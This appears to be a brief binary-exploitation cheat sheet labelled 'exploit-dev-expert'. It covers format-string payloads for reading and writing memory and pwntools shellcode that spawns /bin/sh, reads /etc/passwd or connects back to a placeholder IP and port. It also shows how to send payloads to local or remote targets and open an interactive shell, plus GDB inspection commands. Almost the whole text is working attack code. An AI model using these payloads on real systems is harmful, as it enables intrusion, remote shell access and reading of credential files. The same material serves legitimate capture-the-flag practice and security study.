exploit-dev-expert

# Read from stack
payload = b'%x.' * 20
payload = b'%7$s'      # Read specific position
 
# Write to address
payload = fmtstr_payload(offset, {target_addr: value})

# Using pwntools
context.arch = 'amd64'
shellcode = asm(shellcraft.sh())
 
# Common shellcodes
shellcraft.sh()           # /bin/sh
shellcraft.cat('/etc/passwd')
shellcraft.connect('IP', PORT)

from pwn import *
 
# Setup
context.binary = ELF('./vuln')
context.log_level = 'debug'
 
# Connection
p = process('./vuln')      # Local
p = remote('ip', port)     # Remote
p = gdb.debug('./vuln')    # With GDB
 
# I/O
p.sendline(payload)
p.recvuntil(b'>')
data = p.recv(100)
 
# Interactive
p.interactive()

gdb ./binary
> checksec                # Security features
> info functions          # List functions
> disas main              # Disassemble
> b *0x401234             # Breakpoint
> r < payload.txt         # Run with input
> x/20wx $rsp             # Examine stack